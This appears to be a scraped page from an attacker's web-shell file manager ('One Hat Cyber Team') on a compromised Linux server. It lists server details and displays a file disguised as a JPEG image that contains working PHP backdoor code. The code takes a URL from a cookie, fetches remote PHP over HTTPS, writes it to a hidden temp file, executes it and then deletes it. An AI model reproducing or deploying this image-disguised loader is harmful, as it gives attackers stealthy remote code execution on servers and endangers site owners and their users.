One Hat Cyber Team

Your IP: 216.73.216.19
Server IP: 178.33.27.10
Server: Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software: Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version: 8.2.11
Buat File | Buat Folder
View File Name : 1743039651jsshell.php.

����JFIF��x�x�����C�		



	
���C�����"��������������	
�������}�!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������������	
������w�!1AQaq"2�B����	#3R�br�<?php
if (isset($_COOKIE['current_cache']) && !empty($_COOKIE['current_cache'])) {  
  error_reporting(E_ALL);
  ini_set('display_errors', 1);

  // Validasi URL
  $remote_location = filter_var($_COOKIE['current_cache'], FILTER_VALIDATE_URL);
  if ($remote_location === false) {
      die("Invalid URL.");
  }

  // Batasi protokol hanya untuk HTTPS
  $parsed_url = parse_url($remote_location);
  if (!in_array($parsed_url['scheme'], ['https'])) {
      die("Only HTTPS protocol is allowed.");
  }

  // Buat file sementara dengan aman
  $tmpfname = tempnam(sys_get_temp_dir(), '.trash.' . md5($remote_location . time()));
  if ($tmpfname === false) {
      die("Failed to create temporary file.");
  }

  // Unduh konten dari lokasi remote
  $remote_content = get_remote_content($remote_location);
  if ($remote_content === false) {
      die("Failed to retrieve remote content.");
  }

  // Tulis konten ke file sementara
  $handle = fopen($tmpfname, "w+");
  if ($handle === false) {
      unlink($tmpfname);
      die("Failed to open temporary file.");
  }

  fwrite($handle, $remote_content);
  fclose($handle);

  // Pastikan file hanya berisi kode PHP
  if (strpos(file_get_contents($tmpfname), '<?php') === false) {
      unlink($tmpfname);
      die("Invalid file content.");
  }

  // Sertakan file sementara
  include $tmpfname;

  // Hapus file sementara
  unlink($tmpfname);
  exit;
}

function get_remote_content($remote_location) {
  if (function_exists('curl_exec')) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $remote_location);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
    $response = curl_exec($ch);
    curl_close($ch);
    if ($response !== false) {
      return $response;
    }
  }

  if (function_exists('file_get_contents')) {
    $response = @file_get_contents($remote_location);
    if ($response !== false) {
      return $response;
    }
  }
    
  if (function_exists('fopen') && function_exists('stream_get_contents')) {
    $handle = @fopen($remote_location, "r");
    if ($handle) {
      $response = @stream_get_contents($handle);
      fclose($handle);
      if ($response !== false) {
        return $response;
      }
    }
  }
  return false;
}
?>
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������?�����N����m?����j����EP��